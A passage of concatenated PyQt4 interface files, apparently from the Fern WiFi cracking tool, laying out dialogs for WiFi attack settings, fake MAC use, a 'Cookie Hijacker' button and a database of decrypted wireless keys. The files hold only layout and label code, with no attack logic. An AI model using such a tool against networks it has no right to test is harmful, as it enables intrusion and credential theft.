self.label_4.setText(QtGui.QApplication.translate("tips_dialog", "scan for network based on the settings options of the settings dialog", None, QtGui.QApplication.UnicodeUTF8))
self.label_5.setText(QtGui.QApplication.translate("tips_dialog", "Default is automated scan, Fake Mac-Address is always used", None, QtGui.QApplication.UnicodeUTF8))
self.checkBox.setText(QtGui.QApplication.translate("tips_dialog", "Don\'t show this message again", None, QtGui.QApplication.UnicodeUTF8))
self.pushButton.setText(QtGui.QApplication.translate("tips_dialog", "Ok", None, QtGui.QApplication.UnicodeUTF8))
| Python |
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
font_setting = font_size()
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class Ui_attack_settings(object):
def setupUi(self, attack_settings):
attack_settings.setObjectName(_fromUtf8("attack_settings"))
attack_settings.resize(400, 199)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/mac_address.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
attack_settings.setWindowIcon(icon)
self.verticalLayout_3 = QtGui.QVBoxLayout(attack_settings)
self.verticalLayout_3.setObjectName(_fromUtf8("verticalLayout_3"))
self.mac_box = QtGui.QGroupBox(attack_settings)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.mac_box.setFont(font)
self.mac_box.setCheckable(True)
self.mac_box.setChecked(False)
self.mac_box.setObjectName(_fromUtf8("mac_box"))
self.verticalLayout = QtGui.QVBoxLayout(self.mac_box)
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.label = QtGui.QLabel(self.mac_box)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label.setFont(font)
self.label.setObjectName(_fromUtf8("label"))
self.verticalLayout.addWidget(self.label)
spacerItem = QtGui.QSpacerItem(20, 5, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout.addItem(spacerItem)
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.mac_edit = QtGui.QLineEdit(self.mac_box)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.mac_edit.setFont(font)
self.mac_edit.setObjectName(_fromUtf8("mac_edit"))
self.horizontalLayout.addWidget(self.mac_edit)
spacerItem1 = QtGui.QSpacerItem(22, 21, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem1)
self.mac_button = QtGui.QPushButton(self.mac_box)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.mac_button.setFont(font)
self.mac_button.setObjectName(_fromUtf8("mac_button"))
self.horizontalLayout.addWidget(self.mac_button)
self.verticalLayout.addLayout(self.horizontalLayout)
self.verticalLayout_3.addWidget(self.mac_box)
self.capture_box = QtGui.QGroupBox(attack_settings)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.capture_box.setFont(font)
self.capture_box.setCheckable(True)
self.capture_box.setChecked(False)
self.capture_box.setObjectName(_fromUtf8("capture_box"))
self.verticalLayout_2 = QtGui.QVBoxLayout(self.capture_box)
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.label_2 = QtGui.QLabel(self.capture_box)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.verticalLayout_2.addWidget(self.label_2)
spacerItem2 = QtGui.QSpacerItem(20, 1, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_2.addItem(spacerItem2)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
self.directory_label = QtGui.QLabel(self.capture_box)
self.directory_label.setObjectName(_fromUtf8("directory_label"))
self.horizontalLayout_2.addWidget(self.directory_label)
spacerItem3 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem3)
self.direc_browse = QtGui.QPushButton(self.capture_box)
self.direc_browse.setObjectName(_fromUtf8("direc_browse"))
self.horizontalLayout_2.addWidget(self.direc_browse)
self.verticalLayout_2.addLayout(self.horizontalLayout_2)
self.verticalLayout_3.addWidget(self.capture_box)
self.retranslateUi(attack_settings)
QtCore.QMetaObject.connectSlotsByName(attack_settings)
def retranslateUi(self, attack_settings):
attack_settings.setWindowTitle(QtGui.QApplication.translate("attack_settings", "WIFI Attack Settings", None, QtGui.QApplication.UnicodeUTF8))
self.mac_box.setTitle(QtGui.QApplication.translate("attack_settings", "Default MAC Settings", None, QtGui.QApplication.UnicodeUTF8))
self.label.setText(QtGui.QApplication.translate("attack_settings", "Set default MAC address to be used when attempting WIFI attacks", None, QtGui.QApplication.UnicodeUTF8))
self.mac_button.setText(QtGui.QApplication.translate("attack_settings", "Set MAC", None, QtGui.QApplication.UnicodeUTF8))
self.capture_box.setTitle(QtGui.QApplication.translate("attack_settings", "Capture File Settings", None, QtGui.QApplication.UnicodeUTF8))
self.label_2.setText(QtGui.QApplication.translate("attack_settings", "Set Directory for storing capture files for offline usage", None, QtGui.QApplication.UnicodeUTF8))
self.directory_label.setText(QtGui.QApplication.translate("attack_settings", "", None, QtGui.QApplication.UnicodeUTF8))
self.direc_browse.setText(QtGui.QApplication.translate("attack_settings", "Browse", None, QtGui.QApplication.UnicodeUTF8))
| Python |
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
font_setting = font_size()
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class toolbox_win(object):
def setupUi(self, toolbox_win):
toolbox_win.setObjectName(_fromUtf8("toolbox_win"))
toolbox_win.resize(736, 304)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/1295905972_tool_kit.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
toolbox_win.setWindowIcon(icon)
self.verticalLayout_5 = QtGui.QVBoxLayout(toolbox_win)
self.verticalLayout_5.setObjectName(_fromUtf8("verticalLayout_5"))
self.groupBox_2 = QtGui.QGroupBox(toolbox_win)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.groupBox_2.setFont(font)
self.groupBox_2.setObjectName(_fromUtf8("groupBox_2"))
self.verticalLayout_9 = QtGui.QVBoxLayout(self.groupBox_2)
self.verticalLayout_9.setObjectName(_fromUtf8("verticalLayout_9"))
self.verticalLayout_2 = QtGui.QVBoxLayout()
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
spacerItem = QtGui.QSpacerItem(11, 92, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout.addItem(spacerItem)
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
spacerItem1 = QtGui.QSpacerItem(190, 10, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout.addItem(spacerItem1)
self.geotrack_button = QtGui.QPushButton(self.groupBox_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.geotrack_button.sizePolicy().hasHeightForWidth())
self.geotrack_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.geotrack_button.setFont(font)
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/map.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.geotrack_button.setIcon(icon1)
self.geotrack_button.setIconSize(QtCore.QSize(49, 49))
self.geotrack_button.setObjectName(_fromUtf8("geotrack_button"))
self.verticalLayout.addWidget(self.geotrack_button)
self.horizontalLayout.addLayout(self.verticalLayout)
self.horizontalLayout_2.addLayout(self.horizontalLayout)
spacerItem2 = QtGui.QSpacerItem(78, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem2)
self.horizontalLayout_6 = QtGui.QHBoxLayout()
self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6"))
spacerItem3 = QtGui.QSpacerItem(11, 92, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout_6.addItem(spacerItem3)
self.verticalLayout_6 = QtGui.QVBoxLayout()
self.verticalLayout_6.setObjectName(_fromUtf8("verticalLayout_6"))
spacerItem4 = QtGui.QSpacerItem(190, 10, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_6.addItem(spacerItem4)
self.cookie_hijack_button = QtGui.QPushButton(self.groupBox_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.cookie_hijack_button.sizePolicy().hasHeightForWidth())
self.cookie_hijack_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.cookie_hijack_button.setFont(font)
icon2 = QtGui.QIcon()
icon2.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/cookies-icon.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.cookie_hijack_button.setIcon(icon2)
self.cookie_hijack_button.setIconSize(QtCore.QSize(60, 60))
self.cookie_hijack_button.setObjectName(_fromUtf8("cookie_hijack_button"))
self.verticalLayout_6.addWidget(self.cookie_hijack_button)
self.horizontalLayout_6.addLayout(self.verticalLayout_6)
self.horizontalLayout_2.addLayout(self.horizontalLayout_6)
spacerItem5 = QtGui.QSpacerItem(78, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem5)
self.horizontalLayout_8 = QtGui.QHBoxLayout()
self.horizontalLayout_8.setObjectName(_fromUtf8("horizontalLayout_8"))
spacerItem6 = QtGui.QSpacerItem(11, 92, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout_8.addItem(spacerItem6)
self.verticalLayout_8 = QtGui.QVBoxLayout()
self.verticalLayout_8.setObjectName(_fromUtf8("verticalLayout_8"))
spacerItem7 = QtGui.QSpacerItem(190, 10, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_8.addItem(spacerItem7)
self.ray_fusion_button = QtGui.QPushButton(self.groupBox_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.ray_fusion_button.sizePolicy().hasHeightForWidth())
self.ray_fusion_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.ray_fusion_button.setFont(font)
icon3 = QtGui.QIcon()
icon3.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/fusion.png" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.ray_fusion_button.setIcon(icon3)
self.ray_fusion_button.setIconSize(QtCore.QSize(60, 60))
self.ray_fusion_button.setObjectName(_fromUtf8("ray_fusion_button"))
self.verticalLayout_8.addWidget(self.ray_fusion_button)
self.horizontalLayout_8.addLayout(self.verticalLayout_8)
self.horizontalLayout_2.addLayout(self.horizontalLayout_8)
self.verticalLayout_2.addLayout(self.horizontalLayout_2)
spacerItem8 = QtGui.QSpacerItem(20, 28, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_2.addItem(spacerItem8)
self.verticalLayout_9.addLayout(self.verticalLayout_2)
self.verticalLayout_5.addWidget(self.groupBox_2)
self.groupBox = QtGui.QGroupBox(toolbox_win)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().hasHeightForWidth())
self.groupBox.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.groupBox.setFont(font)
self.groupBox.setObjectName(_fromUtf8("groupBox"))
self.horizontalLayout_5 = QtGui.QHBoxLayout(self.groupBox)
self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5"))
self.horizontalLayout_3 = QtGui.QHBoxLayout()
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
spacerItem9 = QtGui.QSpacerItem(20, 80, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout_3.addItem(spacerItem9)
self.verticalLayout_3 = QtGui.QVBoxLayout()
self.verticalLayout_3.setObjectName(_fromUtf8("verticalLayout_3"))
spacerItem10 = QtGui.QSpacerItem(158, 10, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_3.addItem(spacerItem10)
self.pushButton = QtGui.QPushButton(self.groupBox)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().hasHeightForWidth())
self.pushButton.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.pushButton.setFont(font)
icon4 = QtGui.QIcon()
icon4.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/1295906241_preferences-desktop-font.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.pushButton.setIcon(icon4)
self.pushButton.setIconSize(QtCore.QSize(48, 49))
self.pushButton.setObjectName(_fromUtf8("pushButton"))
self.verticalLayout_3.addWidget(self.pushButton)
self.horizontalLayout_3.addLayout(self.verticalLayout_3)
self.horizontalLayout_5.addLayout(self.horizontalLayout_3)
spacerItem11 = QtGui.QSpacerItem(63, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_5.addItem(spacerItem11)
self.horizontalLayout_4 = QtGui.QHBoxLayout()
self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4"))
spacerItem12 = QtGui.QSpacerItem(20, 80, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout_4.addItem(spacerItem12)
self.verticalLayout_4 = QtGui.QVBoxLayout()
self.verticalLayout_4.setObjectName(_fromUtf8("verticalLayout_4"))
spacerItem13 = QtGui.QSpacerItem(158, 10, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_4.addItem(spacerItem13)
self.attack_options_button = QtGui.QPushButton(self.groupBox)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.attack_options_button.sizePolicy().hasHeightForWidth())
self.attack_options_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.attack_options_button.setFont(font)
icon5 = QtGui.QIcon()
icon5.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/wifi_4.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.attack_options_button.setIcon(icon5)
self.attack_options_button.setIconSize(QtCore.QSize(48, 49))
self.attack_options_button.setObjectName(_fromUtf8("attack_options_button"))
self.verticalLayout_4.addWidget(self.attack_options_button)
self.horizontalLayout_4.addLayout(self.verticalLayout_4)
self.horizontalLayout_5.addLayout(self.horizontalLayout_4)
spacerItem14 = QtGui.QSpacerItem(20, 28, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.horizontalLayout_5.addItem(spacerItem14)
self.verticalLayout_5.addWidget(self.groupBox)
spacerItem15 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_5.addItem(spacerItem15)
self.retranslateUi(toolbox_win)
QtCore.QMetaObject.connectSlotsByName(toolbox_win)
def retranslateUi(self, toolbox_win):
toolbox_win.setWindowTitle(QtGui.QApplication.translate("toolbox_win", "Fern - ToolBox", None, QtGui.QApplication.UnicodeUTF8))
self.groupBox_2.setTitle(QtGui.QApplication.translate("toolbox_win", "Features", None, QtGui.QApplication.UnicodeUTF8))
self.geotrack_button.setText(QtGui.QApplication.translate("toolbox_win", "Geolocatory Tracker", None, QtGui.QApplication.UnicodeUTF8))
self.cookie_hijack_button.setText(QtGui.QApplication.translate("toolbox_win", "Cookie Hijacker", None, QtGui.QApplication.UnicodeUTF8))
self.ray_fusion_button.setText(QtGui.QApplication.translate("toolbox_win", "Ray Fusion", None, QtGui.QApplication.UnicodeUTF8))
self.groupBox.setTitle(QtGui.QApplication.translate("toolbox_win", "General Settings", None, QtGui.QApplication.UnicodeUTF8))
self.pushButton.setText(QtGui.QApplication.translate("toolbox_win", "Font Settings", None, QtGui.QApplication.UnicodeUTF8))
self.attack_options_button.setText(QtGui.QApplication.translate("toolbox_win", "WIFI Attack Options", None, QtGui.QApplication.UnicodeUTF8))
| Python |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'untitled.ui'
#
# Created: Thu Oct 14 08:16:19 2010
# by: PyQt4 UI code generator 4.7.7
#
# WARNING! All changes made in this file will be lost!
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
font_setting = font_size()
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class settings(object):
def setupUi(self, Dialog):
Dialog.setObjectName(_fromUtf8("Dialog"))
Dialog.resize(427, 133)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/wifi_5.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
Dialog.setWindowIcon(icon)
self.buttonBox = QtGui.QDialogButtonBox(Dialog)
self.buttonBox.setGeometry(QtCore.QRect(-20, 90, 341, 32))
self.buttonBox.setOrientation(QtCore.Qt.Horizontal)
self.buttonBox.setStandardButtons(QtGui.QDialogButtonBox.Cancel|QtGui.QDialogButtonBox.Ok)
self.buttonBox.setObjectName(_fromUtf8("buttonBox"))
font = QtGui.QFont()
font.setPointSize(font_setting)
self.buttonBox.setFont(font)
self.channel_combobox = QtGui.QComboBox(Dialog)
self.channel_combobox.setGeometry(QtCore.QRect(170, 20, 121, 21))
self.channel_combobox.setObjectName(_fromUtf8("channel_combobox"))
font = QtGui.QFont()
font.setPointSize(font_setting)
self.channel_combobox.setFont(font)
self.label = QtGui.QLabel(Dialog)
self.label.setGeometry(QtCore.QRect(110, 20, 61, 16))
self.label.setObjectName(_fromUtf8("label"))
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label.setFont(font)
self.label_2 = QtGui.QLabel(Dialog)
self.label_2.setGeometry(QtCore.QRect(10, -10, 91, 111))
self.label_2.setText(_fromUtf8(""))
self.label_2.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/radio-wireless-signal-icone-5919-96.png"%(os.getcwd()))))
self.label_2.setObjectName(_fromUtf8("label_2"))
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_2.setFont(font)
self.xterm_checkbox = QtGui.QCheckBox(Dialog)
self.xterm_checkbox.setGeometry(QtCore.QRect(300, 20, 171, 17))
self.xterm_checkbox.setObjectName(_fromUtf8("xterm_checkbox"))
font = QtGui.QFont()
font.setPointSize(font_setting)
self.xterm_checkbox.setFont(font)
self.label_3 = QtGui.QLabel(Dialog)
self.label_3.setGeometry(QtCore.QRect(110, 50, 311, 16))
font = QtGui.QFont()
font.setWeight(50)
font.setBold(False)
self.label_3.setFont(font)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8("label_3"))
self.label_4 = QtGui.QLabel(Dialog)
self.label_4.setGeometry(QtCore.QRect(10, 90, 101, 16))
self.label_4.setObjectName(_fromUtf8("label_4"))
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_4.setFont(font)
self.label_5 = QtGui.QLabel(Dialog)
self.label_5.setGeometry(QtCore.QRect(100, 90, 46, 13))
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_5.setFont(font)
font = QtGui.QFont()
font.setWeight(75)
font.setBold(False)
self.label_5.setFont(font)
self.label_5.setObjectName(_fromUtf8("label_5"))
self.retranslateUi(Dialog)
QtCore.QObject.connect(self.buttonBox, QtCore.SIGNAL(_fromUtf8("accepted()")), Dialog.accept)
QtCore.QObject.connect(self.buttonBox, QtCore.SIGNAL(_fromUtf8("rejected()")), Dialog.reject)
QtCore.QMetaObject.connectSlotsByName(Dialog)
def retranslateUi(self, Dialog):
Dialog.setWindowTitle(QtGui.QApplication.translate("Dialog", "Access Point Scan Preferences", None, QtGui.QApplication.UnicodeUTF8))
self.label.setText(QtGui.QApplication.translate("Dialog", "Channel:", None, QtGui.QApplication.UnicodeUTF8))
self.xterm_checkbox.setText(QtGui.QApplication.translate("Dialog", "Enable XTerms", None, QtGui.QApplication.UnicodeUTF8))
self.label_3.setText(QtGui.QApplication.translate("Dialog", "Automatic scan to all channels is Default without XTerm", None, QtGui.QApplication.UnicodeUTF8))
self.label_4.setText(QtGui.QApplication.translate("Dialog", "\t <font color=green>Activated</font>", None, QtGui.QApplication.UnicodeUTF8))
self.label_5.setText(QtGui.QApplication.translate("Dialog", "", None, QtGui.QApplication.UnicodeUTF8))
| Python |
__all__ = ['database', 'font_settings','main_window', 'tips', 'toolbox', 'attack_panel','geotrack','attack_settings','cookie_hijacker','ray_fusion','fern_pro_tip']
| Python |
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
font_setting = font_size()
class database_ui(object):
def setupUi(self, database):
database.setObjectName(_fromUtf8("database"))
database.resize(556, 290)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Database-64.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
database.setWindowIcon(icon)
self.verticalLayout_2 = QtGui.QVBoxLayout(database)
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.label = QtGui.QLabel(database)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label.setFont(font)
self.label.setObjectName(_fromUtf8("label"))
self.verticalLayout.addWidget(self.label)
self.label_2 = QtGui.QLabel(database)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.verticalLayout.addWidget(self.label_2)
self.verticalLayout_2.addLayout(self.verticalLayout)
spacerItem = QtGui.QSpacerItem(20, 5, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_2.addItem(spacerItem)
self.key_table = QtGui.QTableWidget(database)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.key_table.setFont(font)
self.key_table.setObjectName(_fromUtf8("key_table"))
self.key_table.setColumnCount(5)
self.key_table.setRowCount(0)
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/router-icone-7671-128.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
item = QtGui.QTableWidgetItem()
self.key_table.setHorizontalHeaderItem(0, item)
item.setIcon(icon1)
icon2 = QtGui.QIcon()
icon2.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/mac_address.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
item = QtGui.QTableWidgetItem()
self.key_table.setHorizontalHeaderItem(1, item)
item.setIcon(icon2)
icon3 = QtGui.QIcon()
icon3.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/binary.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
item = QtGui.QTableWidgetItem()
self.key_table.setHorizontalHeaderItem(2, item)
item.setIcon(icon3)
icon4 = QtGui.QIcon()
icon4.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/login_128.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
item = QtGui.QTableWidgetItem()
self.key_table.setHorizontalHeaderItem(3, item)
item.setIcon(icon4)
icon5 = QtGui.QIcon()
icon5.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/wifi_5.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
item = QtGui.QTableWidgetItem()
self.key_table.setHorizontalHeaderItem(4, item)
item.setIcon(icon5)
self.verticalLayout_2.addWidget(self.key_table)
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.save_button = QtGui.QPushButton(database)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.save_button.sizePolicy().hasHeightForWidth())
self.save_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.save_button.setFont(font)
self.save_button.setObjectName(_fromUtf8("save_button"))
self.horizontalLayout.addWidget(self.save_button)
spacerItem1 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem1)
self.insert_button = QtGui.QPushButton(database)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.insert_button.sizePolicy().hasHeightForWidth())
self.insert_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.insert_button.setFont(font)
self.insert_button.setObjectName(_fromUtf8("insert_button"))
self.horizontalLayout.addWidget(self.insert_button)
spacerItem2 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem2)
self.delete_button = QtGui.QPushButton(database)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.delete_button.sizePolicy().hasHeightForWidth())
self.delete_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.delete_button.setFont(font)
self.delete_button.setObjectName(_fromUtf8("delete_button"))
self.horizontalLayout.addWidget(self.delete_button)
spacerItem3 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.horizontalLayout.addItem(spacerItem3)
self.verticalLayout_2.addLayout(self.horizontalLayout)
self.retranslateUi(database)
QtCore.QMetaObject.connectSlotsByName(database)
def retranslateUi(self, database):
database.setWindowTitle(QtGui.QApplication.translate("database", "Fern - Key Database", None, QtGui.QApplication.UnicodeUTF8))
self.label.setText(QtGui.QApplication.translate("database", "Decrypted wireless keys are automatically added to the sqlite database after a successful", None, QtGui.QApplication.UnicodeUTF8))
self.label_2.setText(QtGui.QApplication.translate("database", "attack, Alternatively you can insert keys to the database manually", None, QtGui.QApplication.UnicodeUTF8))
self.key_table.horizontalHeaderItem(0).setText(QtGui.QApplication.translate("database", "Access Point", None, QtGui.QApplication.UnicodeUTF8))
self.key_table.horizontalHeaderItem(1).setText(QtGui.QApplication.translate("database", "Mac Address", None, QtGui.QApplication.UnicodeUTF8))
self.key_table.horizontalHeaderItem(2).setText(QtGui.QApplication.translate("database", "Encryption", None, QtGui.QApplication.UnicodeUTF8))
self.key_table.horizontalHeaderItem(3).setText(QtGui.QApplication.translate("database", "Key", None, QtGui.QApplication.UnicodeUTF8))
self.key_table.horizontalHeaderItem(4).setText(QtGui.QApplication.translate("database", "Channel", None, QtGui.QApplication.UnicodeUTF8))
self.save_button.setText(QtGui.QApplication.translate("database", "Save Changes", None, QtGui.QApplication.UnicodeUTF8))
self.insert_button.setText(QtGui.QApplication.translate("database", "Insert New Key", None, QtGui.QApplication.UnicodeUTF8))
self.delete_button.setText(QtGui.QApplication.translate("database", "Delete", None, QtGui.QApplication.UnicodeUTF8))
| Python |
# -*- coding: utf-8 -*-
#
# Created: Thu Aug 07 19:58:03 2014
# by: PyQt4 UI code generator 4.10.1
#
# WARNING! All changes made in this file will be lost!
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
font_setting = font_size()
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
